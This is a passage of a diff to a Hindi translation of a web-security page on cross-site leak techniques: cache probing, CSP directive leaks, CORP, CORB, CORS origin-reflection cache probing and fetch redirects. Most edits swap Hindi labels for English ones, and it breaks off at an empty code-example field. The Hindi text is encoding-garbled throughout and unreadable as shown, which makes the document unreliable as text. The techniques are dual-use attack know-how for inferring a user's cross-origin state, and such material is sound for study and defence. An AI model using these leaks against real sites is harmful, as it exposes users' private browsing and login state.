рд╕рдВрд╕рд╛рдзрди рдХреЛ рд▓реЛрдб рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ **рдЦрд░рд╛рдм рдЕрдиреБрд░реЛрдз рдХреЗ рд╕рд╛рде рд╕рдВрд╕рд╛рдзрди рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ** (рдЬреИрд╕реЗ, рдПрдХ рд▓рдВрдмреЗ рд╕рдВрджрд░реНрдн рд╣реЗрдбрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ)ред рдпрджрд┐ рд╕рдВрд╕рд╛рдзрди рд▓реЛрдб **рдХрд┐рд╕реА рддреНрд░реБрдЯрд┐ рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ**, рддреЛ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдпрд╣ **рдХреИрд╢ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛**ред +рдпрджрд┐ рдПрдХ рдкреГрд╖реНрда рдХреЗрд╡рд▓ рддрднреА рдПрдХ рдЫрд╡рд┐ рд▓реЛрдб рдХрд░рддрд╛ рд╣реИ рдЬрдм рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд▓реЙрдЧ рдЗрди рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдЖрдк **рд╕рдВрд╕рд╛рдзрди рдХреЛ рдЕрдорд╛рдиреНрдп** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рддрд╛рдХрд┐ рдпрд╣ рдЕрдм рдХреИрд╢ рдореЗрдВ рди рд╣реЛ, рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рд▓рд┐рдВрдХ рджреЗрдЦреЗрдВ), **рдПрдХ рдЕрдиреБрд░реЛрдз рдХрд░реЗрдВ** рдЬреЛ рдЙрд╕ рд╕рдВрд╕рд╛рдзрди рдХреЛ рд▓реЛрдб рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ **рдЦрд░рд╛рдм рдЕрдиреБрд░реЛрдз** рдХреЗ рд╕рд╛рде рд╕рдВрд╕рд╛рдзрди рд▓реЛрдб рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ (рдЬреИрд╕реЗ, рдПрдХ рд▓рдВрдмреЗ рд░реЗрдлрд░рд░ рд╣реЗрдбрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ)ред рдпрджрд┐ рд╕рдВрд╕рд╛рдзрди рд▓реЛрдб **рдХрд┐рд╕реА рддреНрд░реБрдЯрд┐ рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ**, рддреЛ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдпрд╣ **рдХреИрд╢ рдХрд┐рдпрд╛ рдЧрдпрд╛** рдерд╛ред -### CSP рдирд┐рд░реНрджреЗрд╢ +### CSP Directive -- **рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ**: рдлреНрд░реЗрдо -- **рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдореЗрдВ рдЕрдВрддрд░**: рд╣реЗрдбрд░ -- **рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875) -- **рд╕рд╛рд░рд╛рдВрд╢:** CSP рд╣реЗрдбрд░ рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЛ CSP iframe рд╡рд┐рд╢реЗрд╖рддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЬрд╛рдВрдЪрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рдиреАрддрд┐ рд╡рд┐рд╡рд░рдг рдкреНрд░рдХрдЯ рдХрд░рддрд╛ рд╣реИред -- **рдХреЛрдб рдЙрджрд╛рд╣рд░рдг**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak) +- **Inclusion Methods**: Frames +- **Detectable Difference**: Header +- **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875) +- **Summary:** CSP рд╣реЗрдбрд░ рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЛ CSP iframe рдПрдЯреНрд░рд┐рдмреНрдпреВрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЬрд╛рдВрдЪрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рдиреАрддрд┐ рд╡рд┐рд╡рд░рдг рдкреНрд░рдХрдЯ рдХрд░рддрд╛ рд╣реИред +- **Code Example**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak) -Google Chrome (GC) рдореЗрдВ рдПрдХ рдирдпрд╛ рдлреАрдЪрд░ рд╡реЗрдм рдкреГрд╖реНрдареЛрдВ рдХреЛ **рдПрдХ рд╕рд╛рдордЧреНрд░реА рд╕реБрд░рдХреНрд╖рд╛ рдиреАрддрд┐ (CSP)** рдХрд╛ рдкреНрд░рд╕реНрддрд╛рд╡ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬреЛ iframe рддрддреНрд╡ рдкрд░ рдПрдХ рд╡рд┐рд╢реЗрд╖рддрд╛ рд╕реЗрдЯ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдиреАрддрд┐ рдирд┐рд░реНрджреЗрд╢ HTTP рдЕрдиреБрд░реЛрдз рдХреЗ рд╕рд╛рде рднреЗрдЬреЗ рдЬрд╛рддреЗ рд╣реИрдВред рд╕рд╛рдорд╛рдиреНрдпрддрдГ, рдПрдореНрдмреЗрдбреЗрдб рд╕рд╛рдордЧреНрд░реА рдХреЛ **HTTP рд╣реЗрдбрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЗрд╕рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдиреА рдЪрд╛рд╣рд┐рдП**, рдЕрдиреНрдпрдерд╛ рдПрдХ **рддреНрд░реБрдЯрд┐ рдкреГрд╖реНрда рдкреНрд░рджрд░реНрд╢рд┐рдд рд╣реЛрддрд╛ рд╣реИ**ред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрджрд┐ iframe рдкрд╣рд▓реЗ рд╕реЗ рд╣реА CSP рджреНрд╡рд╛рд░рд╛ рд╢рд╛рд╕рд┐рдд рд╣реИ рдФрд░ рдкреНрд░рд╕реНрддрд╛рд╡рд┐рдд рдиреАрддрд┐ рдЕрдзрд┐рдХ рдкреНрд░рддрд┐рдмрдВрдзрд╛рддреНрдордХ рдирд╣реАрдВ рд╣реИ, рддреЛ рдкреГрд╖реНрда рд╕рд╛рдорд╛рдиреНрдп рд░реВрдк рд╕реЗ рд▓реЛрдб рд╣реЛрдЧрд╛ред рдпрд╣ рддрдВрддреНрд░ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ **рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдкреГрд╖реНрда рдХреЗ рд╡рд┐рд╢рд┐рд╖реНрдЯ CSP рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ** рдХреЗ рд▓рд┐рдП рдПрдХ рдорд╛рд░реНрдЧ рдЦреЛрд▓рддрд╛ рд╣реИ, рддреНрд░реБрдЯрд┐ рдкреГрд╖реНрда рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдХреЗред рд╣рд╛рд▓рд╛рдВрдХрд┐ рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХреЛ рдареАрдХ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рд╣рдорд╛рд░реЗ рдирд┐рд╖реНрдХрд░реНрд╖ рдПрдХ **рдирдИ рд▓реАрдХ рддрдХрдиреАрдХ** рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рддреЗ рд╣реИрдВ рдЬреЛ рддреНрд░реБрдЯрд┐ рдкреГрд╖реНрда рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИ, рдпрд╣ рд╕реБрдЭрд╛рд╡ рджреЗрддреЗ рд╣реБрдП рдХрд┐ рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд рд╕рдорд╕реНрдпрд╛ рдХреЛ рдХрднреА рдкреВрд░реА рддрд░рд╣ рд╕реЗ рд╕рдВрдмреЛрдзрд┐рдд рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред +Google Chrome (GC) рдореЗрдВ рдПрдХ рдирдпрд╛ рдлреАрдЪрд░ рд╡реЗрдм рдкреГрд╖реНрдареЛрдВ рдХреЛ **Content Security Policy (CSP)** рдХрд╛ рдкреНрд░рд╕реНрддрд╛рд╡ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬреЛ iframe рддрддреНрд╡ рдкрд░ рдПрдХ рдПрдЯреНрд░рд┐рдмреНрдпреВрдЯ рд╕реЗрдЯ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдиреАрддрд┐ рдирд┐рд░реНрджреЗрд╢ HTTP рдЕрдиреБрд░реЛрдз рдХреЗ рд╕рд╛рде рднреЗрдЬреЗ рдЬрд╛рддреЗ рд╣реИрдВред рд╕рд╛рдорд╛рдиреНрдпрддрдГ, рдПрдореНрдмреЗрдбреЗрдб рд╕рд╛рдордЧреНрд░реА рдХреЛ **HTTP рд╣реЗрдбрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЗрд╕рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдиреА рдЪрд╛рд╣рд┐рдП**, рдЕрдиреНрдпрдерд╛ рдПрдХ **рддреНрд░реБрдЯрд┐ рдкреГрд╖реНрда рдкреНрд░рджрд░реНрд╢рд┐рдд рд╣реЛрддрд╛ рд╣реИ**ред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрджрд┐ iframe рдкрд╣рд▓реЗ рд╕реЗ рд╣реА CSP рджреНрд╡рд╛рд░рд╛ рд╢рд╛рд╕рд┐рдд рд╣реИ рдФрд░ рдкреНрд░рд╕реНрддрд╛рд╡рд┐рдд рдиреАрддрд┐ рдЕрдзрд┐рдХ рдкреНрд░рддрд┐рдмрдВрдзрд╛рддреНрдордХ рдирд╣реАрдВ рд╣реИ, рддреЛ рдкреГрд╖реНрда рд╕рд╛рдорд╛рдиреНрдп рд░реВрдк рд╕реЗ рд▓реЛрдб рд╣реЛрдЧрд╛ред рдпрд╣ рддрдВрддреНрд░ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ **рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдкреГрд╖реНрда рдХреЗ рд╡рд┐рд╢рд┐рд╖реНрдЯ CSP рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ** рдХреЗ рд▓рд┐рдП рдПрдХ рдорд╛рд░реНрдЧ рдЦреЛрд▓рддрд╛ рд╣реИ, рддреНрд░реБрдЯрд┐ рдкреГрд╖реНрда рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдХреЗред рд╣рд╛рд▓рд╛рдВрдХрд┐ рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХреЛ рдареАрдХ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рд╣рдорд╛рд░реЗ рдирд┐рд╖реНрдХрд░реНрд╖ рдПрдХ **рдирдпрд╛ рд▓реАрдХ рддрдХрдиреАрдХ** рдкреНрд░рдХрдЯ рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ рддреНрд░реБрдЯрд┐ рдкреГрд╖реНрда рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИ, рдпрд╣ рд╕реБрдЭрд╛рд╡ рджреЗрддреЗ рд╣реБрдП рдХрд┐ рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд рд╕рдорд╕реНрдпрд╛ рдХрднреА рдкреВрд░реА рддрд░рд╣ рд╕реЗ рд╕рдВрдмреЛрдзрд┐рдд рдирд╣реАрдВ рдХреА рдЧрдИ рдереАред ### **CORP** -- **рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ**: Fetch API -- **рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдореЗрдВ рдЕрдВрддрд░**: рд╣реЗрдбрд░ -- **рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/) -- **рд╕рд╛рд░рд╛рдВрд╢:** рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рд╕рдВрд╕рд╛рдзрди рдиреАрддрд┐ (CORP) рдХреЗ рд╕рд╛рде рд╕реБрд░рдХреНрд╖рд┐рдд рд╕рдВрд╕рд╛рдзрди рдПрдХ рдЕрд╕реНрд╡реАрдХреГрдд рдореВрд▓ рд╕реЗ рд▓рд╛рдП рдЬрд╛рдиреЗ рдкрд░ рддреНрд░реБрдЯрд┐ рдлреЗрдВрдХреЗрдВрдЧреЗред -- **рдХреЛрдб рдЙрджрд╛рд╣рд░рдг**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak) +- **Inclusion Methods**: Fetch API +- **Detectable Difference**: Header +- **More info**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/) +- **Summary:** Cross-Origin Resource Policy (CORP) рдХреЗ рд╕рд╛рде рд╕реБрд░рдХреНрд╖рд┐рдд рд╕рдВрд╕рд╛рдзрди рдПрдХ рдЕрд╕реНрд╡реАрдХреГрдд рдореВрд▓ рд╕реЗ рд▓рд╛рдП рдЬрд╛рдиреЗ рдкрд░ рддреНрд░реБрдЯрд┐ рдЙрддреНрдкрдиреНрди рдХрд░реЗрдВрдЧреЗред +- **Code Example**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak) -CORP рд╣реЗрдбрд░ рдПрдХ рдЕрдкреЗрдХреНрд╖рд╛рдХреГрдд рдирдпрд╛ рд╡реЗрдм рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рд╕реБрд░рдХреНрд╖рд╛ рдлреАрдЪрд░ рд╣реИ рдЬреЛ рд╕реЗрдЯ рд╣реЛрдиреЗ рдкрд░ **рджрд┐рдП рдЧрдП рд╕рдВрд╕рд╛рдзрди рдХреЗ рд▓рд┐рдП рдиреЛ-CORS рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдЕрд╡рд░реБрджреНрдз рдХрд░рддрд╛ рд╣реИ**ред рд╣реЗрдбрд░ рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ CORP рд╕реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рд╕рдВрд╕рд╛рдзрди **рд▓рд╛рдП рдЬрд╛рдиреЗ рдкрд░ рддреНрд░реБрдЯрд┐ рдлреЗрдВрдХ рджреЗрдЧрд╛**ред +CORP рд╣реЗрдбрд░ рдПрдХ рдЕрдкреЗрдХреНрд╖рд╛рдХреГрдд рдирдпрд╛ рд╡реЗрдм рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рд╕реБрд░рдХреНрд╖рд╛ рдлреАрдЪрд░ рд╣реИ рдЬреЛ рд╕реЗрдЯ рд╣реЛрдиреЗ рдкрд░ **рджрд┐рдП рдЧрдП рд╕рдВрд╕рд╛рдзрди рдХреЗ рд▓рд┐рдП рдиреЛ-рдХреЛрд░реНрд╕ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдЕрд╡рд░реБрджреНрдз рдХрд░рддрд╛ рд╣реИ**ред рд╣реЗрдбрд░ рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ CORP рд╕реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рд╕рдВрд╕рд╛рдзрди **рд▓рд╛рдП рдЬрд╛рдиреЗ рдкрд░ рддреНрд░реБрдЯрд┐ рдЙрддреНрдкрдиреНрди рдХрд░реЗрдЧрд╛**ред ### CORB -- **рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ**: HTML рддрддреНрд╡ -- **рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдореЗрдВ рдЕрдВрддрд░**: рд╣реЗрдбрд░ -- **рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header) -- **рд╕рд╛рд░рд╛рдВрд╢**: CORB рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЛ рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ **`nosniff` рд╣реЗрдбрд░ рдЕрдиреБрд░реЛрдз рдореЗрдВ рдореМрдЬреВрдж рд╣реИ**ред -- **рдХреЛрдб рдЙрджрд╛рд╣рд░рдг**: [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak) +- **Inclusion Methods**: HTML Elements +- **Detectable Difference**: Headers +- **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header) +- **Summary**: CORB рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЛ рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ **`nosniff` рд╣реЗрдбрд░ рдЕрдиреБрд░реЛрдз рдореЗрдВ рдореМрдЬреВрдж рд╣реИ**ред +- **Code Example**: [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak) -рд╣рдорд▓реЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рд▓рд┐рдВрдХ рджреЗрдЦреЗрдВред +рд╣рдорд▓реЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рд▓рд┐рдВрдХ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред -### CORS рддреНрд░реБрдЯрд┐ рдкрд░ рдореВрд▓ рдкрд░рд╛рд╡рд░реНрддрди рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди +### CORS error on Origin Reflection misconfiguration -- **рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ**: Fetch API -- **рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдореЗрдВ рдЕрдВрддрд░**: рд╣реЗрдбрд░ -- **рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration) -- **рд╕рд╛рд░рд╛рдВрд╢**: рдпрджрд┐ рдореВрд▓ рд╣реЗрдбрд░ рдХреЛ рд╣реЗрдбрд░ `Access-Control-Allow-Origin` рдореЗрдВ рдкрд░рд╛рд╡рд░реНрддрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдЬрд╛рдВрдЪрдирд╛ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдХреЛрдИ рд╕рдВрд╕рд╛рдзрди рдкрд╣рд▓реЗ рд╕реЗ рдХреИрд╢ рдореЗрдВ рд╣реИред -- **рдХреЛрдб рдЙрджрд╛рд╣рд░рдг**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration) +- **Inclusion Methods**: Fetch API +- **Detectable Difference**: Headers +- **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration) +- **Summary**: рдпрджрд┐ Origin рд╣реЗрдбрд░ рдХреЛ `Access-Control-Allow-Origin` рд╣реЗрдбрд░ рдореЗрдВ рдкрд░рд╛рд╡рд░реНрддрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдЬрд╛рдВрдЪрдирд╛ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдХреЛрдИ рд╕рдВрд╕рд╛рдзрди рдкрд╣рд▓реЗ рд╕реЗ рдХреИрд╢ рдореЗрдВ рд╣реИред +- **Code Example**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration) -рдпрджрд┐ **рдореВрд▓ рд╣реЗрдбрд░** рдХреЛ **рдкрд░рд╛рд╡рд░реНрддрд┐рдд** рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ рд╣реЗрдбрд░ `Access-Control-Allow-Origin` рдореЗрдВ, рддреЛ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ **CORS** рдореЛрдб рдореЗрдВ **рд╕рдВрд╕рд╛рдзрди рдХреЛ рд▓рд╛рдиреЗ** рдХреЗ рд▓рд┐рдПред рдпрджрд┐ рдХреЛрдИ **рддреНрд░реБрдЯрд┐** **рдЯреНрд░рд┐рдЧрд░ рдирд╣реАрдВ рд╣реЛрддреА рд╣реИ**, рддреЛ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдЗрд╕реЗ **рд╡реЗрдм рд╕реЗ рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛**, рдпрджрд┐ рдХреЛрдИ рддреНрд░реБрдЯрд┐ **рдЯреНрд░рд┐рдЧрд░ рд╣реЛрддреА рд╣реИ**, рддреЛ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдЗрд╕реЗ **рдХреИрд╢ рд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛** (рддреНрд░реБрдЯрд┐ рдЗрд╕рд▓рд┐рдП рдкреНрд░рдХрдЯ рд╣реЛрддреА рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдХреИрд╢ рдПрдХ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛ CORS рд╣реЗрдбрд░ рдХреЗ рд╕рд╛рде рдмрдЪрд╛рддрд╛ рд╣реИ рдЬреЛ рдореВрд▓ рдбреЛрдореЗрди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдФрд░ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рдбреЛрдореЗрди рдХреА рдирд╣реАрдВ)**ред\ +рдпрджрд┐ **Origin рд╣реЗрдбрд░** рдХреЛ `Access-Control-Allow-Origin` рд╣реЗрдбрд░ рдореЗрдВ **рдкрд░рд╛рд╡рд░реНрддрд┐рдд** рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ, рддреЛ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ **CORS** рдореЛрдб рдореЗрдВ **рд╕рдВрд╕рд╛рдзрди** рдХреЛ **рдлреЗрдЪ** рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдпрджрд┐ **рддреНрд░реБрдЯрд┐** **рдЯреНрд░рд┐рдЧрд░ рдирд╣реАрдВ рд╣реЛрддреА рд╣реИ**, рддреЛ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдЗрд╕реЗ **рд╡реЗрдм рд╕реЗ рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛**, рдпрджрд┐ рддреНрд░реБрдЯрд┐ **рдЯреНрд░рд┐рдЧрд░ рд╣реЛрддреА рд╣реИ**, рддреЛ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдЗрд╕реЗ **рдХреИрд╢ рд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛** (рддреНрд░реБрдЯрд┐ рдЗрд╕рд▓рд┐рдП рдкреНрд░рдХрдЯ рд╣реЛрддреА рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдХреИрд╢ рдПрдХ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛ CORS рд╣реЗрдбрд░ рдХреЗ рд╕рд╛рде рдмрдЪрд╛рддрд╛ рд╣реИ рдЬреЛ рдореВрд▓ рдбреЛрдореЗрди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдФрд░ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рдбреЛрдореЗрди рдХреА рдирд╣реАрдВ)**ред\ рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрджрд┐ рдореВрд▓ рдкрд░рд╛рд╡рд░реНрддрд┐рдд рдирд╣реАрдВ рд╣реЛрддрд╛ рд╣реИ рд▓реЗрдХрд┐рди рдПрдХ рд╡рд╛рдЗрд▓реНрдбрдХрд╛рд░реНрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (`Access-Control-Allow-Origin: *`), рддреЛ рдпрд╣ рдХрд╛рдо рдирд╣реАрдВ рдХрд░реЗрдЧрд╛ред -## рдкрдардиреАрдп рд╡рд┐рд╢реЗрд╖рддрд╛рдПрдБ рддрдХрдиреАрдХ +## Readable Attributes Technique -### рдлрд╝реЗрдЪ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢ +### Fetch Redirect -- **рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ**: Fetch API -- **рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдореЗрдВ рдЕрдВрддрд░**: рд╕реНрдерд┐рддрд┐ рдХреЛрдб -- **рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html) -- **рд╕рд╛рд░рд╛рдВрд╢:** GC рдФрд░ SA рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢ рд╕рдорд╛рдкреНрдд рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЗ рдкреНрд░рдХрд╛рд░ (opaque-redirect) рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВред -- **рдХреЛрдб рдЙрджрд╛рд╣рд░рдг**: 